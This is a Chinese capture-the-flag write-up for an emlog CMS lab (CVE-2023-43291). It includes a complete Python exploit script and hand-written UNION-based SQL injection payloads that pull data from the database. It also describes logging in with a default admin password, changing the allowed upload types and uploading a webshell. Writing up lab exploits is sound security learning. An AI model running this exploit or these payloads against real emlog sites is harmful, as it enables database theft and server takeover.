【春秋云镜】CVE-2023-43291 emlog SQL注入

靶场介绍

emlog是一款轻量级博客及CMS建站系统,在emlog pro v.2.1.15及更早版本中的不受信任数据反序列化允许远程攻击者通过cache.php组件执行SQL语句。

不感兴趣的可以直接拉到最后面,直接获取flag

备注:没有通过sql注入获取到flag,但是通过其他方法获得了,如果有大佬通过sql注入获取flag请告诉我。

开启靶场

搜索POC,该POC是执行user()函数

python 复制代码
import requests
import sys
import time
requests.packages.urllib3.disable_warnings()

url = "http://eci-2ze5lrqt8xe7n32hn1rm.cloudeci1.ichunqiu.com"
session = requests.session()
proxy = {
    "http": "127.0.0.1:8080",     "https": "127.0.0.1:8080"
}

# Step1 注册一个账户并登录,获取token
def step1():
    url_register = "/admin/account.php?action=dosignup"
    data_register = {
        "mail":"[email protected]",
        "passwd":"password",
        "repasswd": "password"
    }
    session.post(url+url_register, data=data_register, verify=False, allow_redirects=False, proxies=proxy)

    url_login = "/admin/account.php?action=dosignin&s="
    data_login = {
        "user": "[email protected]",
        "pw": "password"
    }
    res = session.post(url+url_login, data=data_login, verify=False, allow_redirects=False, proxies=proxy)
    if res.status_code != 302 or res.headers.get("Location") != "./":
        print("登录错误")
        exit()

    url_token = "/admin/article.php"
    res = session.get(url+url_token, verify=False, allow_redirects=False, proxies=proxy)
    while res.status_code != 200:   # 因为该cms会随机进行重新的身份认证,详见include/service/user.php:106
        res = session.get(url+url_token, verify=False, allow_redirects=False, proxies=proxy)
    global token
    try:
        token = res.text.split('id="token" value="')[1].split('"')[0].strip()
    except:
        token = ""
    
# Step2 新建两篇文章,设置两篇文章的alias,写入payload
def step2():
    url_article = "/admin/article_save.php?action=autosave"
    data_article = {
        "logcontent": time.time(), 
        "logexcerpt": '', 
        "title": time.time(), 
        "cover": '', 
        "alias": time.time(), 
        "sort": "-1", 
        "postdate": "2022-10-16 00:01:34", 
        "date": '', 
        "tag": '', 
        "top": "n", 
        "sortop": "n", 
        "allow_remark": "y", 
        "password": '', 
        "token": token, 
        "ishide": "y", 
        "as_logid": "-1"
    }

    # 新建第一篇文章
    res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)
    while res.status_code != 200:
        res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)
    try:
        id_1 = res.text.split(":")[1].split("_")[0]
    except:
        print("error,请手动删除当前用户所有文章以及草稿再重新运行此poc.")
        exit()
    # 新建第二篇文章
    data_article["logcontent"] = time.time()
    data_article["title"] = time.time()
    data_article["alias"] = time.time()
    res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)
    while res.status_code != 200:
        res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)
    try:
        id_2 = int(res.text.split(":")[1].split("_")[0])
    except:
        print("error,请手动删除当前用户所有文章以及草稿再重新运行此poc.")
        exit()

    # 更改第二篇文章的alias
    # payload = '''";s:87:"0 union select 1,user(),'1','','','','',1,-1,'blog',1,1,0,'n','n','n','y','y','','',''#";s:1:"Y'''
    payload = '''";s:93:"0 union select 1,user(),'1','','','','',1,-1,'blog',1,1,0,'n','n','n','y','y','','','','',''#";s:1:"Y'''
    data_article["as_logid"] = id_2
    print (id_2)
    if id_2 < 10:
        data_article["alias"] = payload
    if id_2 >= 10:
        data_article["alias"] = payload[1:]
    if id_2 >= 100:
        # data_article["alias"] = ''';s:81:"0 union select 1,user(),1,'','','','',1,-1,'blog',1,1,0,'','','','y','','','',''#";s:1:"Y'''
        data_article["alias"] = ''';s:87:"0 union select 1,user(),1,'','','','',1,-1,'blog',1,1,0,'','','','y','','','','','',''#";s:1:"Y'''
    res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)
    while res.status_code != 200:
        res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)

    # 更改第一篇文章的alias
    data_article["as_logid"] = id_1
    data_article["alias"] = "<?php exit;//"
    res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)
    while res.status_code != 200:
        res = session.post(url+url_article, data=data_article, verify=False, allow_redirects=False, proxies=proxy)

# Step3 访问触发反序列化以及sql注入
def step3():
    headers = {
        "X-Rewrite-Url": "/Y",
    }
    res = session.get(url, headers=headers, verify=False, allow_redirects=False, proxies=proxy)
    if res.status_code == 200:
        print(res.text.split("<title>")[1].split("</title>")[0])
    else:
        raise  Exception

if __name__ == "__main__":
    try:
        step3()
    except:
        step1()
        step2()
        step3()

将脚本挂上代理,

step1() //注册用户

step2() //写入payload

step3() //执行脚本

操作步骤

打开burp 挂上代理

注册包全部放通,只保留这个数据包 step2()

保留第二个数据包 step3()

执行SQL语句

通过脚本可以获取到执行的命令

寻找flag位置

将URL编码转换后,可以发现他的语句是这样的:

0 union select 1,user(),'1','','','','',1,-1,'blog',1,1,0,'n','n','n','y','y','','','','',''#

然后我们替换user()即可。

0 union select 1,concat(0x7e,(SELECT CONCAT(TABLE_SCHEMA,'-',TABLE_NAME, '-',COLUMN_NAME) FROM information_schema.COLUMNS WHERE COLUMN_NAME = 'flag' LIMIT 0,1),0x7e),'1','','','','',1,-1,'blog',1,1,0,'n','n','n','y','y','','','','',''#

然后数一下前面有你总共输入了多少个字符,例如上面一共是235个字符

存在flag

靶场有3处存在flag列 将limit处修改为 limit 2.1

得知存在flllllaaaag表,并且在emlog数据库中,然后编写payload

0 union select 1,concat(0x7e,(select CONCAT(id, '-',flag) from flllllaaaag),0x7e),'1','','','','',1,-1,'blog',1,1,0,'n','n','n','y','y','','','','',''#

结果提示

Illegal mix of collations for operation 'UNION'

获取flag 有点生气,然后气了一下

登录admin 密码 admin123

这里可以下载数据库备份

查看文件的最后

总结

我太菜了,不知道sql报错怎么解决,有大佬看到这里希望可以研究一下,有成果联系我,感谢感谢。

如果对你有用,请不要取关哦,感谢感谢

获取shell

在看sql文件时发现这里可以修改运行上传的文件类型:

在页面修改时,修改为php会自动修改为X,这里上传SQL备份后不会改变。

直接上传webshell

获取shell

查看配置文件为

不活心,可能是不存在flag。

相关推荐
小白教程5 分钟前
MySQL数据库的安全性防护
数据库·mysql
Lion Long7 分钟前
CodeBuddy 中国版 Cursor 实战:Redis+MySQL双引擎驱动〈王者荣耀〉战区排行榜
数据库·redis·mysql·缓存·腾讯云·codebuddy首席试玩官·codebuddy
apcipot_rain3 小时前
【应用密码学】实验五 公钥密码2——ECC
前端·数据库·python
辛一一6 小时前
neo4j图数据库基本概念和向量使用
数据库·neo4j
LJianK17 小时前
关系型数据库和非关系型数据库
sql
巨龙之路7 小时前
什么是时序数据库?
数据库·时序数据库
蔡蓝7 小时前
binlog日志以及MySQL的数据同步
数据库·mysql
teacher伟大光荣且正确7 小时前
Qt Creator 配置 Android 编译环境
android·开发语言·qt
是店小二呀8 小时前
【金仓数据库征文】金融行业中的国产化数据库替代应用实践
数据库·金融·数据库平替用金仓·金仓数据库2025征文
炒空心菜菜8 小时前
SparkSQL 连接 MySQL 并添加新数据:实战指南
大数据·开发语言·数据库·后端·mysql·spark